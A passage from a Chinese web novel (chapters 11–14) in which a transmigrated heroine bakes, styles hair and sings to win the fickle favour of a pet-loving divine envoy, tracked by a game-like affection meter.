只是如今她实在太困,一边梳着头发一边哈欠连天,子桑透过面前的铜镜瞥了她一眼,瞧见她眼下两个硕大的黑眼圈:“昨晚没睡好?”
赵玉屿以为他关心自己,撑起眼皮笑道:“睡得有些迟了。”
子桑将手中把玩的小狐狸放倒在檀木盒里,啪嗒一声盖上:“今日心情不错,你若是想睡个好觉,便赐你与世长眠如何。”
赵玉屿:“......”
瞬间精神了呢。
她哈哈干笑,手下动作也快了许多:“生时何必多睡,死后必定长眠。小女一身的抱负,就想给神使大人多添置些新装扮,自然是舍不得睡的。”
她又借机拍马屁顺便推销自己:“昨晚上小女突然神思涌动,画了不少的衣稿,一早就拿去让人做了。诸天神仙在上,神使大人仙人之姿,若是能穿上小女设计的衣服,简直是小女此生荣光!”
子桑听着马屁毫无动容,眼皮也不抬一下:“做得好有赏,做不好你便去见见诸天神仙,替我问声好。”
赵玉屿:“......”
她干笑几声,不敢再多说,生怕多说多错。
昨日瞧着子桑虽然傲娇寡淡些,但也没今日这么难搞。说话阴阳怪气的,瘆人得很。看来这子桑的好感度的确是下降了一些,本就不多的好感度如今更是所剩无几,令她雪上加霜,说啥错啥。
她闭口不言,只专心梳着头发,只求不出错。然而没多一会儿,子桑又发话:“怎么不说话?”
赵玉屿小心翼翼回答:“小女怕饶了神使大人清净。”
子桑身子向后靠在椅背上懒懒道:“说话,不说话怪闷的。”
赵玉屿:“......那大人想听些什么?”
子桑抬了抬眼皮:“随便,说得好有赏,烦了就赐你长眠。”
他就是一时无聊,突然想起昨晚上赵玉屿揍猴大时彪悍的口吐狂言,可比现在沉默寡言有趣得多了。
赵玉屿:“......”
怎么动不动就赐人长眠呢,真是的。
11. 第 11 章
赵玉屿虽然心中忍不住吐槽,面上却不敢有丝毫的怠慢,想了想自己也没什么说相声脱口秀的能力,冷笑话倒是会几个,但子桑看起来不像是会被冷笑话逗笑的人,只怕笑话一说出口,她就得从此长眠地底了。
思索片刻,赵玉屿只得开口道:“那小女给您唱支歌吧。”
见子桑不咸不淡的嗯了一声,她才清了清嗓子敢开口。
“山川欲挽一寸月光,清辉不舍流波荡漾。扁舟一叶送别少年郎,良风万顷送帆远航————”【1】
悠扬婉转的歌声倾泻而出,在清晨的和风与鸟鸣中缓缓流淌,飘荡在轻浮的清露花香中,包裹着斜照入窗台的缕缕晨光。
少女的手伴着歌声轻柔穿插在如墨的发间,勾起一缕长发梳顺,灵巧盘成发冠。
“峨眉山月半轮秋——影入平羌江水流——夜发清溪向三峡——思君不见下渝州——”【1】
轻盈的声音不同于昨日摘星楼上的狂躁,也不同于跪地呈情时的小心翼翼,谄媚讨好。而是清缓温柔,疏疏朗朗,宛若山崖中拂过的一缕清风,峡谷间流淌的一捧溪水,亦如烛灯床头,母亲轻拍着节奏,温柔哄着孩子睡觉的曲调。
到后面赵玉屿也忘了词,便轻哼着调子将最后一缕长发编好。
子桑望着圆镜中站于他身后的少女,问道:“这是什么歌?”
赵玉屿笑答:“小女也不知道,是小时候无意间听到的,觉得好听便记了下来,许是哪里的民歌吧。”
她自然记得。
赵玉屿记得有一天傍晚,她刚从图书馆出来,迎着夕阳的醉醉黄昏,下了一场淅淅沥沥的小雨,学校广播里播放的就是这首歌。
不同于寻常流行曲的情爱衷肠,又或者是饶舌RAP,这首歌在淹润寥廓却有斜阳暖照的校园里显得格外宁静淡远,亦如此时此刻。
改编自李白的《峨眉山月歌》,只是这个世界没有李白,更没有《峨眉山月歌》。
她又为子桑精挑细选配了一身的首饰,比起昨日翩翩然的仙鹤之姿,今日则是雍容华贵的狐王之尊。
银色发冠制成双耳状,其后挑出两络长发相顶,像是隐藏在发冠后的狐耳。整个白狐裘似毛绒绒的柔顺长尾顺着紫罗织衣的肩膀披下,腰间和胸前的银饰更添矜贵奢华。
子桑显然对今日这一身打扮很是满意,在立镜前左右显摆了许久:“不错。”
赵玉屿也松了口气,尽力拍着马屁:“神使大人天人之姿,任何衣饰在您身上都是增添荣光。”
子桑显然对她这次的马屁很是受用理了理衣袖:“从今以后便由你掌管织锦司,每日为本座梳妆。”
“是,小女遵命。”
【攻略对象好感度增加5%,当前好感度15%。】
赵玉屿:“......”
果然,这丫是个臭美货。
子桑似乎心情很好,或许是迫不及待要在众人面前显摆他的新衣服,用完早膳后便命人叫了车辇满奉仙宫里转悠,逢人见狗都得嘚瑟一下。
奉仙宫极大,转悠一圈差不多得到午后,赵玉屿自然不像他那么清闲,出了内殿后就去玉石坊和织锦司查看新制的手办和衣服的做工进展。
她被子桑任命为织锦司掌事的消息很快便传遍了满宫,待她一进织锦司的院子,赵玉屿便见一大群蓝衣工匠在走道两边排成队伍毕恭毕敬地等候。
她被这阵仗吓了一跳,原掌事已经殷勤的走上前呈上两个册子。
“赵大人,这是织锦司的名录和账本,织锦司所有工匠都在这里等候大人您点名差遣。”
赵玉屿接过册子翻开瞧了瞧,看着满满当当的小字看得她头发疼。
她来这里的目的也不是为了当官的,将册子重新还给掌事,当起了甩手掌柜:“日后这里一切从前,你还是掌事。”
掌事听到这话有些讶然,犹豫问道:“这......会不会不合规矩?”
毕竟是神使大人亲自任命的职务,若是一切照旧,恐外人说是他们怠慢了新掌事,那可是要遭罪的。
赵玉屿也知道他的担忧,官大一级压死人,她面对着子桑不过两日,也知晓其中艰辛,遂耐心解释道。
“我平日里还要负责神使大人的日常起居,也没有时间管理这织锦司。我瞧这里一切井然有序,可见掌事您管理得当,让您继续看管自然再合适不过。神使大人差我当这掌事,也是希望日后我的话您能放在心上,若我需要东西,加急做出来即可。”
赵玉屿觉得自己说的已经非常清晰明了,但这话听在旁人耳朵里却是另外一层意思。
原本这赵玉屿同神使大人的“事情”就已经人尽皆知,如今才当上内殿侍女两日,就又被神使大人封了织锦司掌事这个大肥差,可见神使大人的确对她“非常满意”。
赵玉屿一说要负责神使起居,那便是在提醒旁人自己是神使眼前的红人,又说“将她的话放在心上”,那可不就是在提醒其他人摆明自己的位置吗。
孙掌事心想这新来的小姑娘真是有两把刷子,比起这织锦司,将神使大人哄好自然更多好东西都能到手,这心思这城府,不亏得能将神使一举拿下,顿时连连应道,丝毫不敢怠慢:“是是是,小的遵命,赵大人放心,小人必定照看好织锦司,不给大人丢脸。”
赵玉屿以为他明白了自己的意思,便点头吩咐道:“我今早送来的那批稿图记得先做,神使大人等着穿呢,若是还有什么问题直接差人来问我就行。”
孙掌事立刻表明态度:“是是是!小人一定派人日夜加工给赶制出来!”
“额,那倒也不必。”赵玉屿自然知道熬夜的苦楚,她那两硕大的黑眼圈和发闷的脑袋就是见证,“按部就班来就行了,该睡觉还是要睡的,加班的记得多给些犒劳,就从我的月奉里出便好。”
反正她成日在奉仙宫带着,包吃包住,平日里也用不到钱。
“是是是,一切都听赵大人的!”
吩咐完一切后,赵玉屿便回房间休息。
昨晚一夜未眠,今早又忙活了一上午,她刚脱了鞋子沾到枕头上便陷入黑甜梦境。
梦里她来到一座黑漆漆的山洞里,四目漆黑下,山洞中间一汪清池,一只通体雪白的红顶仙鹤卧水而眠,周身泛着银光。一束阳光从山洞顶端斜照而下,轻飘飘落在白鹤身上。
那白鹤便化为人形,星眸薄唇,
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赫然是子桑的淡漠模样。
赵玉屿刚想走上前唤子桑姓名,然而下一刻梦境倏忽颠倒,水面翻转而下,她又被一群白狐团团围住逼在角落。白狐们在她身上灵活的翻滚蹿跳,毛绒绒的尾巴扫过裸露的脖颈,阵阵瘙痒。
她在狐狸的簇拥下被推到了台阶上,抬眼望去,高阶之上,子桑披着白狐裘,手腕抵着脑袋垂眸似笑非笑地望向她,身后九条尾巴缓缓挥动,像是开屏的白绒巨扇。
然而他看她的眼神冷漠疏离,宛若看待将死之人,恍惚间他的九条尾巴骤然消散,背后升起一轮巨大银月,风声呼啸,回到了摘星楼顶。
她低头望去,脚下已然是万丈悬空,“咔嚓”一声,檐角断裂,意识猛然坠空而下。
双眼猛地睁开,赵玉屿瞪大眼睛望着床帐,呆滞片刻,身体像是被打了麻醉剂般半晌才缓过劲来,眨了眨眼,一摸背后,一层冷汗覆体。
她瞧了瞧周围的环境,见是在自己的房间才缓过神来松了口气,掀开被子穿好鞋。
定是昨晚发生的事情太刺激,才做了这么个梦。
她打了盆水,凉水拍脸缓过精神来,才感到舒服些。
赵玉屿便又开始琢磨攻略子桑的事。
好感度虽然增加了,但却实在不稳定。本身15%的好感度就接近于无,跟路人甲没什么差别,若是稍微有一些情绪变化就会有较大波动。
而且这好感度完全是靠做手办和梳妆得来的,根据她多年养男人的游戏经验,上限顶多也就是到个友好,想要刷到100%光凭任劳任怨的打工根本不可能。
不过现在她同子桑也只是刚刚相熟,万事不可操之过急,还是只能从简单的下手,但至少不能光是梳妆打扮。
赵玉屿摸了摸下巴,思索着可以下手的地方,衣、食、住、行。
衣服这项她算是暂时拿下了,住的嘛她发挥不了什么作用,顶多增加些动物元素的小装饰,聊胜于无。
出行这块呢,神使每年会有三分之一的时间外出灵山为国祈福,到时候若是能让子桑带着她一起,中途发生些意外倒是能快速增进感情,不过那也是明年开春的事情了。
眼下还是从吃食着手比较稳妥。
子桑的吃食每周都会由主厨做成小册子,一份由主厨师傅收着,一份交给李嬷嬷,还有一份是交给内殿侍女,也就是交给她。
赵玉屿瞧过那册子,大多是清淡口味为主,很少有油腥味重的菜,即便是荤食也都是清爽淡口,许是跟神使的身份有关。毕竟修仙的,大荤大肉不合适。
不过每日的饭菜都会配上几道素雅的甜点,就连早膳都有甜食,大多是绿豆糕、荷花酥之类,虽然花色不同,但翻来覆去也就那几种口味。
也对,荤腥几乎不沾,成天打坐,出门都是坐轿子,不晒太阳不运动,再不吃点甜食怕是不用到二十岁就得低血糖昏死过去。
赵玉屿心中吐槽,不过也踏实些,有爱好就有操作空间嘛。
她向来是个行动派,打定主意就开始列清单,屁颠屁颠跑到厨房让人准备食材。
施展拳脚的机会来了,呵,攻略嘛,姐姐游戏里可是能同时攻略四个男人,小意思。
12. 第 12 章
日落西山,夕阳残照枝头,仅存的光晕渐渐沉默在屋檐之后。
观鹤水台中央,子桑坐在铺着水貂皮的凳子上瞧着池中起舞的鹤群,漫不经心的夹起一小块糕点,送入口中的瞬间双眼微亮,细细咀嚼一番后放下筷子问道。
“这是什么?”
李嬷嬷弯腰恭敬道:“这是今日尚食坊临时更改的甜点,据说是赵侍女调配的方子,神使大人若是喜欢,老奴让人再送些来。”
子桑望着眼前的糕点,总共四块糕点,摆在莲花盘中,极小一个,一口便能吃下。
他又夹起另外一个吃下,酥皮薄爽,中间应当是白芸豆,甜而不腻,每隔糕点的夹心不同,上一个是混杂小红豆,这一个里面是草莓果酱,他饮了一口茶,又尝完剩下两个,分别是酥香芝麻和桂花山楂。
如此一来,四种口感各有风味,并不相冲,吃完略干,配上一杯浓茶刚好。
他放下茶杯淡淡道:“让她过来。”
“是。”
赵玉屿被唤去的时候正在厨房忙活牛乳酪,本想换件新衣裳再去,但见传话的神侍一副急切惶恐的模样,只得擦了擦手褪去围裙便朝水台赶去。
“神使大人贵安!”
一进亭台中间,赵玉屿已经熟练的找好位置跪下,行了个叩拜大礼。
头顶传来子桑的询问:“今日的糕点是你做的?”
“是。小女见每日的甜点大多相似,担心神使大人吃腻,便想着换些新鲜的口味供神使大人品鉴。”
子桑轻啧一声:“我倒是很好奇,一个养在深闺的贵女,既会量体裁衣,又会下厨做饭,你们赵家穷到这个地步了吗?”
赵玉屿不理会他言语中的试探和嘲讽,露出一副哀戚又略含尴尬的神色。
“回禀神使大人,小女不敢同大人撒谎。小女虽然是官宦之女,但自小没了母亲,父亲忙于公务,主母......小女入奉仙宫前一直被养在别院,衣食不足,皆需自理。”
李嬷嬷在一旁应道:“确是如此。”
这些贵女入奉仙宫前都是经过严格审查的,身份不容出错。
子桑面色轻淡:“这样啊......”
“是。”
赵玉屿此时正庆幸自己原主这凄苦出身正好能让她的手艺有个解释恰当,没想到就听到子桑轻飘飘说道。
“你做的甜点口味不错,说来该赏。既然你父母待你凉薄,那就赐他们去神游仙境侍奉三清上神,也算是了了你的幼时凄苦。”
赵玉屿:“???”
不是,我做得好你赏我啊,跟那两口子有什么关系?
而且什么,什么神游仙境。
这听着不像赏赐的好词啊。
李嬷嬷也是一愣:“神使......赵大人毕竟是官宦之身。”
子桑望了她一眼,似乎对她的话很是不解。
李嬷嬷瞧着他的眼神,面色几变,最终将劝告的话咽了回去:“是。”
见李嬷嬷要去下命,赵玉屿有些慌了神,连忙拦下:“等等等,等一下,神使大人,小女愚笨,您方才说的神游仙境是……什么意思啊?”
子桑似是一笑:“让他们上天去啊。”
“......”
我靠......
听到这个回答,赵玉屿后背顿时惊出一身冷汗,牵强的扯出一道笑容:“神使大人是在说笑吗?”
“本尊从不说笑。”
见他朝李嬷嬷挑了挑眉差使她离去,赵玉屿连忙道:“神使大人,小女一心只为大人,不求任何赏赐,还请神使大人收回成命。”
子桑似乎有些困惑:“你既然自小受欺负,想来心里是恨透了他们的,我帮你把受得苦楚还回去,为何不愿。”
【攻略对象好感度降低2%,当前好感度13%】
“我......”
【攻略对象好感度降低2%,当前好感度11%】
脑海中传来的系统提示音像是催命符,赵玉屿知晓,子桑在等待她的答案,并且耐心正在逐渐耗尽。
若是答好了,那便没事,若是答得不好,那怕是她和赵家人的命都得交代了。
她双手攥紧,额间渗出细密汗水,最终,深吸一口气,抬头望向子桑坚定道。
“神使大人,自小女入奉仙宫以来,便一心向道,只求余生能伴随大人左右,终身侍奉三清上神。虽然赵大人和赵夫人与我情谊寡淡,但若非身在赵家,小女也没有机会入选奉仙宫,更何况有今日之机会侍奉神使大人您。或许这便是天意所指,让小女能借此经历学得手艺,为神使大人效忠。”
她接着道,“而如今,小女已是修道之人,同尘世再无瓜葛,赵家于我而言只是前尘过客,无情无缘,所以还请神使大人莫要因为槛内人误了修行,这便是对小女最大的赏赐。”
内殿一片寂静,针落可闻。
子桑手指摩挲,似乎是在思考她说的话,叹了口气似是有些遗憾:“既然如此,那便罢了。”
赵玉屿刚松了一口气,就听子桑有些恶劣道:“不过你既一心向道,与赵家划清界限,那也不适合再姓赵了。叫什么好呢......”
他似乎真的在思考,问道:“你叫什么名字来着?”
赵玉屿答道:“小女名叫赵玉。”
“那你以后就叫玉儿吧。”
他笑道,“李嬷嬷,内殿侍女赵玉一心向道,侍奉三清上神有功,是有仙缘之人,不可因尘俗羁绊误了求仙之道。吩咐赵家将她的名字从族谱上划去。日后这世上只有玉儿,没有赵玉。”
李嬷嬷不敢有违,垂眼回道:“是。”
子桑虽然放过了赵家夫妇,却对赵玉违抗他的命令不满。既然赵玉为了保护赵家人要同他们划清界限,那索性便去了她的姓。
从族谱中划去姓名,等于无宗无祖的孤魂野鬼,死后不堕轮回,对任何人来说都是痛苦和折磨。
这是子桑对赵玉的惩罚。
赵玉屿从此痛失姓名,不过于她而言,无所谓啦。
改个名而已,要是能提升好感度,她天天改名都行。
见事情完美解决,赵玉屿顿时扑倒在地感恩戴德:“多谢神使大人恩赐!小女日后一定悉心毕力为神使大人效劳!”
子桑:“......”
他歪了歪头,甚至凑近审视了一番赵玉屿,见她当真没有丝毫痛苦和懊悔,反而眉目疏朗,眼含欣喜,顿时有些费解。
怎么有种射箭射偏了的无力感呢。
没有得到想象中赵玉屿痛哭流涕,神色凄惨的结果,子桑心中莫名有些不爽,连带着瞧见赵玉屿也有些烦。
“下去吧。”
【攻略对象好感度降低1%,当前好感度10%】
赵玉屿:“!!!”
她好不容易才攒起来的好感度啊,一朝又回到解放前!
赵玉屿此时有苦说不出,看着她凄凉的神色,子桑的脸色才好些,有些开怀的又喝了口茶。
【攻略对象好感度提升2%,当前好感度12%】
赵玉屿:“???”
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耍我玩呢!
这心电图一样的好感度让她第一次感到心累和无奈,心如死灰叹了口气,任重而道远啊!
见赵玉屿离开时失魂落魄的背影,子桑心情已经好了许多。
水池中的巨大仙鹤似乎感觉到他的愉悦情绪,飞落在他身边甩了甩身上的水渍,偏头蹭在他的颈湾处。
子桑摸了摸它的的尖喙,将糕点的残渣拿细长银勺递给它。
“尝尝,味道不错。”
*
赵玉屿回到厨房时,天色已黯,厨子们忙活了一天,已经都去旁边的别院休息了,案台上按照她离开时的要求将她需要的材料留着。
赵玉屿再次围上围裙,朝桌上洒了些面粉,接着揉面。一边揉一边想着方才的事情。
子桑瞧起来着实阴晴不定,动不动就说出些骇人的话来,可若他是个狠辣之人,当初在摘星楼顶分明可以任由她掉下去。
毕竟她只是一个侍女,她爹也不过是个小官,想要处置她对于子桑来说没有丝毫的威胁和压力。
甚至对于她的死,不需要有任何解释。
今日子桑虽然扬言要处罚杨大人和杨夫人,但最后也是三言两语就化解了,对她也没什么处罚。
不喜外出、不喜与人接触,喜欢吃甜食、喜欢小动物、热衷于收集手办和打扮自己,这些特点看起来,怎么也不像是个坏人。
他的所作所为,更像是个随心所欲的无聊的孩子。
赵玉屿叹了口气,将揉好的面团扯开,正要调制果酱,忽然听到窗边传来一声细响。
她朝窗台望去,就见原本关上的窗户被打开了一条缝,一只灰绿色的长喙悄悄从门缝中伸进来,朝靠窗桌子上放的碟子里探去。
那碟子里放的是她之前试做的糕点。
赵玉屿静静看着长喙一点点朝碟子里伸,不过可能因为眼睛被窗户挡住了瞧不太清里面,它只能摸索着轻啄,但每次总差点,到后来似乎是有些急了,那硬嘴敲在碟子上就想将碟子整盘拽走。
赵玉屿觉得有趣,上前将碟子朝里拽了拽。
窗外那头感受到阻力,也朝外扯了扯,两人拉扯几回合,窗户那头忽然就轻松将碟子拽过来,顿时小心翼翼的把碟子从窗户缝里叼出来。
赵玉屿忍着笑,片刻之后就感到窗外似乎沉默了一下,旋即破罐子破摔直接整个脑袋从窗户里伸进来要去找糕点。
果然,是那只仙鹤。
它似乎也没想到屋里有人,黑黑圆圆的小脑袋呆滞了一刻,随后两眼黏在了赵玉屿手里的糕点上。
赵玉屿将糕点朝左挪了挪,那黑豆眼就朝左边转了转,她又朝右边挪了挪,那双小眼睛也跟着她朝右边转了转。
赵玉屿笑道:“想吃糕点啊。”
仙鹤轻叫了一声。
“想吃糕点你可以直接找我啊。”她走上前将手中的糕点缓缓递到它嘴边套近乎,“这些糕点都是我做的,你救过我的命,我自然是要投桃报李的,以后你想吃糕点就来找我,我每天都给你备着。”
仙鹤似乎有些犹豫,瞧着嘴边的糕点没有张口。赵玉屿笑着将糕点掰开:“吃吧,送你的。”
糕点掰开后里面桂花香味混合和清甜细腻的白芸豆香愈加浓厚,仙鹤忍耐不住嘴馋,最终叼起一块糕点后,脑袋从窗户飞快抽回。
待赵玉屿打开窗户,窗外已经没有了鹤影,一道黑白相间的身影展翅飞起,越过层层屋檐而去。
她忍不住笑出声,没想到这仙鹤居然跟它主人一样,喜欢甜食,居然还偷吃。
13. 第 13 章
日子就这样过了段时间,似乎变得平淡而忙碌。
赵玉屿每日早起干完活后就开始研制新菜色、新衣服、新手办,争取满足领导的所有喜好。
子桑对她设计的服饰搭配很是满意,赵玉屿也乐得将他当做手办打扮,画出各种新奇首饰服装,每日发型装扮不重样,从狐狸到熊猫,各种主题COS个遍,漂亮又奢华。
经过坚持不懈的攻略,好感度终于......艰难涨到20%。
看着几个月艰辛付出才换来的8个点,赵玉屿叹了口气。
【宿主不要灰心哦,才短短几个月好感度就涨到了20%,已经很不错了。】
赵玉屿:话是这么说,可不论再做什么新糕点新衣服新手办,好感度都稳定在20%不涨了,说明这个方法已经走到头了。
她按了按太阳穴:而且子桑那个人,一点不合心意就阴阳怪气,好感度就会往下掉一些,稍微开心点就又会涨上来,要是我哪天不小心发了错,这20%的好感度根本就不够挥霍的,怕是得直接降到底了。
【宿主不要灰心哦,加油!】
赵玉屿忍不住吐槽:你就会这两句吗?好歹给我指明个方向啊。
【对不起宿主,系统无能为力。但是系统检测到宿主心情不佳,可以给宿主唱个歌缓解心情。】
赵玉屿:......我谢谢你了,滚蛋!
【好的宿主。】
脑海里果然没有了系统的电子音,赵玉屿又叹了口气,算了,人呐,还是得靠自己。
20%好感度赠送的系统奖励只是一些这个世界没有的食材,应该是系统根据她攻略的方式特意选择的赠品,只能说聊胜于无。
“玉儿姐姐在吗?”
屋外传来一声高唤,自从子桑下命后,赵玉屿就痛失本姓,奉仙宫阖宫上下都唤她玉儿。
原本众人以为赵玉屿终于逃不过得罪神使被惩治的结局,然而除了改名外,并没有什么别的处罚,神使甚至更加器重赵玉屿,除了李嬷嬷外,能经常接近他的就只有赵玉屿一个人。
当然,还有那些猴子、白鹤、狐狸、猎犬、水豚、仓鼠之类数不甚数奇奇怪怪的宠物们。
赵玉屿打开门,就见门外站着一个笑意盈盈的神侍。
“宫悖神侍,找我有事吗?”
宫悖殷勤道:“神侍大人今晚要在摘星楼观星占卜,还要劳烦姐姐了。”
赵玉屿点头:“我知道了。”
说是占卜,实际上就是无聊了坐在楼顶发呆,顺便吃点宵夜喝点酒。
当然,这负责送夜宵的活儿自然就落在了赵玉屿头上。
毕竟当初是子桑亲自点名,由赵玉屿送夜宵。
虽然对攻略好感度许久未涨而发愁,但该干得活还是得干。赵玉屿勤勤恳恳做好糕点和下酒小菜,见时辰差不多了,便将夜宵放在食盒里,又拎上一瓶上好的竹叶青,任劳任怨的爬楼梯。
原本赵玉屿是想爬一阵休息一阵,反正楼里没人看见。然而她低估了猴子睚眦必报的性格。
自从被赵玉屿胖揍两顿之后,猴大不敢跟她正面硬刚,但总是暗自观察。
只要她来送夜宵,猴大必然会跳在楼梯扶手上监视她,稍微有些停顿就会爆发出尖锐怪叫,跑去找子桑告状说她偷懒不干活。
赵玉屿:......
眼看着还有三分之一的楼层,赵玉屿实在爬不动了,认罪求饶。
“猴爷,我今天忙了一天,中午都没睡觉,您就看在我这么辛苦的份上,饶了我这一回让我休息会吧。”
猴大见她放低姿态,顿时嚣张跋扈的掐腰龇牙,摇头晃脑的贱样让赵玉屿手痒痒。
她忍气吞声从兜里取出来一颗金豆子:“喏,就带了这一块。”
这猴子贪财,经常喜欢偷神侍们的东西,赵玉屿只好贿赂贿赂。
猴大接过金豆子,张开一口大白牙咬了咬,旋即心满意足地将金豆子放进身前绑着的口袋里,朝赵玉屿做了个鬼脸,转身朝楼上跑去。
赵玉屿见它又要去告状,连忙拎起食盒追上。
“你这死猴子,收钱不办事!你身上那口袋兜还是我给你做的呢!”
一人一猴,一前一后跑到楼顶,赵玉屿顺了口气,绕过大半个屋檐,就见猴大蹲在子桑旁边手足舞蹈的比划着,见赵玉屿来了就冲她呲牙。
赵玉屿暗地翻了个白眼,毕恭毕敬将食盒里的小桌子和饭菜取出摆放好后便想离开。
“过来。”
赵玉屿听到这话,脚下一顿,顺从的回到原地:“神使大人有何指示。”
子桑手指轻挠着卧在一旁的仙鹤脖颈,漫不经心道:“你方才又偷懒了?”
赵玉屿:“......”
这死猴子,果然在告她的状!
她斟酌语言:“小女这几日腿脚不便,所以行动慢了些,还望神使大人见谅。”
子桑轻吱一声,也不知道信没信,只道:“倒酒。”
“是。”
子桑不发话,她也不敢离开,只得坐在一旁候着吩咐。
夜色渐凉,她这次长了记性外面裹了层披风,子桑却还是只穿了她早上为他装扮的衣服。
黑白交错的高领长袍犹如昼夜披身,其上用金线绣成星月交辉,腰间一条金白束带勒出腰身。一耳挂金日,一耳挂弯月,一条编发上用碎星金环点缀,在乌黑浓密的长发间闪烁微光。
他抿了一口酒,目光向前。
赵玉屿顺着他的目光望去,却并未看到什么,只有无尽的黑夜。
她想,子桑肯定又在发呆呢。
他每次都是这样,叫了夜宵整晚却也没见动过几口,也不说话,就喝着酒发呆。
一呆就是一整晚,第二天睡到日上三竿,再穿漂亮的衣服,欣赏供奉的各色奇珍异宝,将那些价值连城的宝贝丢给他的宠物们,看着它们玩。
日复一日,年复一年。
和子桑相处时间越久,她越觉得眼前这个少年并不是想象中的淳朴良善,但也不是邪念丛生、冷漠无情之人。
他更像是一个身处高位的漠然者,就像现在,坐在高处不甚寒的摘星楼顶,孤寂地俯瞰芸芸众生,脚下是万丈深渊,身边只有一鹤一猴相陪。
所有人只敢敬重他,他也不想同旁人有什么牵扯。即便是跟随在他身边多年的李嬷嬷,也只是一个稍微熟悉些的外人。
真正能让他信任的,只有那些宠物。
他似乎总是想给自己找乐子,却很少能有让他感兴趣的事情。<
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夜风渐冷,赵玉屿感到冷风朝衣袖领口里钻,忍不住裹紧披风,朝一旁温暖的仙鹤羽翼处靠了靠。
一日操劳,又连续爬了七十二层楼,此时放松下来,疲惫感渐渐涌上眼皮,她最终无意识地闭上眼睛。
仙鹤见她紧挨着自己睡着了,张开羽翼将她覆盖在温热的翅膀之下,柔软厚实的羽毛裹在身上,只露出一张小小的脸。
似乎是在睡梦中感受到了暖意,赵玉屿舒服的出了口气,深深睡了过去。
子桑斜瞧了一眼仙鹤:“你似乎很喜欢她。”
仙鹤轻叫一声,张开另外一只翅膀要将他也裹进来。
子桑推开它:“肉麻得很。”
他背靠在仙鹤身上,两条长腿伸直舒展身子:“你若喜欢她,等我死以后,你就跟着她吧。她的手艺很好,你嘴那么刁,至少不会饿死。”
听到这话,仙鹤似乎呜咽一声,修长的脖颈蹭了蹭子桑的脸庞满是不舍。
子桑拍了拍它的长喙,不再说话。
*
赵玉屿醒过来的时候已近破晓。
她揉了揉眼睛,看着覆盖在身上的白色羽翼,坐起身子。
视线越过白鹤,子桑正坐在一旁看日出,不知是刚醒还是一夜未眠。猴大趴在白鹤身上睡得正香。
子桑并未看她,依旧望着不知尽头的远方问道:“你不怕它们吗?”
赵玉屿意识到他说的是猴大它们,摇头笑答:“不怕呀,万物有灵,而且神使大人有驭兽之能,有神使大人在,我自然更不怕了。”
子桑扭头望向她:“你心倒挺大,畜生到底是畜生,若无能力压制,一旦发狂便会噬主。”
赵玉屿抱着膝盖也望向远方:“其实比起人,我更愿意和动物相处,因为它们喜形于色,没有那么复杂,有时候比人还要可靠。谁对它们好它们都知道,虽然神使大人以驭兽术驾驭它们,但如果平日里待它们不好,它们只会有畏惧和胆怯,不会和您如此亲热。”
赵玉屿粲然一笑:“喜欢小动物的人不会是坏人嘛!”
【攻略对象好感度提升5%,当前好感度25%】
系统提示音突然弹出,赵玉屿一怔,心中暗喜,看来这马屁拍对了。
她正想着要不要趁热打铁再夸一波,子桑忽然悠悠说道。
“这些日子你服侍得不错,想要什么赏赐?”
赏赐?
赵玉屿问:“什么赏赐都可以吗?”
“当然。”子桑信誓旦旦,眼中满是自负,“什么都可以。”
既然他开了口,便必然能做到。
不论赵玉屿是要高官厚禄,还是半生荣华,都没问题。
赵玉屿搓了搓手,一双杏眼闪闪发光饱含期颐:“我想再骑一次仙鹤。”
意想不到的回答让子桑眉头皱起:“就这个?”
“嗯嗯嗯!”
这可比做云霄飞车刺激多了!
上次太过惊心动魄,她都还没好好体会下驭鹤飞行的感觉就落了地,简直可惜!
听到这话,子桑站起身,轻巧一跃跳到仙鹤的背脊上。
破云初升的辉煌朝阳下,少年抬眸望向她,平静淡然的眼眸浅浅映着她的模样。
“上来吧。”
14. 第 14 章
赵玉屿提起裙角,踩着仙鹤洁白的羽翼爬上背脊,未待她站稳,一声清亮的哨声悠扬响起,脚下略晃,初升夕阳的柔光之中,白翼如弓骤展,遮罩檐角,仙鹤蓄力一跃而起,直冲云霄。
赵玉屿感到脚下跌宕,一个趔趄跌坐在仙鹤宽阔的背脊之上,这鹤背虽然宽阔,但只有一个小把鞍按在正中,平日倒贴在背脊中,被长羽覆盖瞧不清楚,用时勾动机关便可将把鞍立起,坐时可握,站时勾脚,以保平衡。
上次赵玉屿握着把鞍不曾害怕,然而此时子桑已经盘腿坐下,那把鞍正好在他交叉叠坐的双腿外。
若是直接握上去吧,有些不太雅观,而且这把鞍的大小设计精巧,显然是专门为子桑设计的,并不适合两个人握。
但若是不抓紧这把鞍吧,仙鹤一个空中拐弯,她人就得被整个甩出,怕是得交代在这儿了,属实有些刺激。
赵玉屿当机立断握住把鞍。
先下手为强,谁没地方握谁尴尬。
此时她同子桑面对面而坐,大眼瞪小眼。
子桑似乎嘴角略抽,猜到她的小心思:“放心吧,小白飞得很稳,不会掉下去的。”
小白?
赵玉屿眨了眨眼,想了一下才意识到这是仙鹤的名字。
忍不出心中吐槽,这子桑起名还真是随意。
猴大,猴二,猴三,小白.....
这红顶白鹤仙气飘飘,居然叫这么额......直白的名字。
只能说,大俗即大雅。
“是。”
虽嘴里应下,赵玉屿手上却依旧死死抓着把鞍不松手,子桑见状直接拉动机关将把鞍收了起来,双手环胸。
“转过去,你这般对着我,将风景全挡住了。”
“哦”。
没东西可抓,赵玉屿只得收了手,趴在仙鹤背上小心翼翼挪动腿脚,转而面对前方,心中想着,既然子桑也没带什么安全措施,应当是安全的。
想到这,心里更踏实些。转过身的那一刻,视野瞬间开阔,抬眼望去,远山缭绕,水汽蒸腾如烟如雾,朝阳正从山后缓缓攀升,金灿的旭光透过层层云雾照射在万丈之下的大地上,将黑暗驱逐入昨夜。
云移日出,每一片屋檐都镀上一层金光,每一棵树木花草都在蒸腾水汽和光线折射下显得有些模糊,贯穿帝都城的河水金光粼粼,在晨风中和岸边青柳一同徐徐波动。
如此美好,令人窒息的美好,赵玉屿有些恍惚,恍惚得,像是身处游戏中的场景。
她有一瞬间觉得,自己此时正坐在电脑前,操作着手柄,桌前的电脑画面里是某部3A大作的镜头,视线随着镜头乘鹤而起,穿越云雾,莅临王朝,而后视线前会飘浮出一行字,是游戏的开幕。
她回过神来,仙鹤已经掠水环绕山崖一圈,携着雾气返程而归。
这不是梦,也不是游戏,这里是真实的世界,这里的一草一木,一花一景,都是真实的。
她真的在飞。
她能闻到风中飘来的青草和泥土的清香,能够感受到仙鹤掠过水面时溅起的冰凉水花,能在仙鹤拂过山崖时摘下崖边开出的一朵小野花。
我化清风与明月,拂过山水三千。
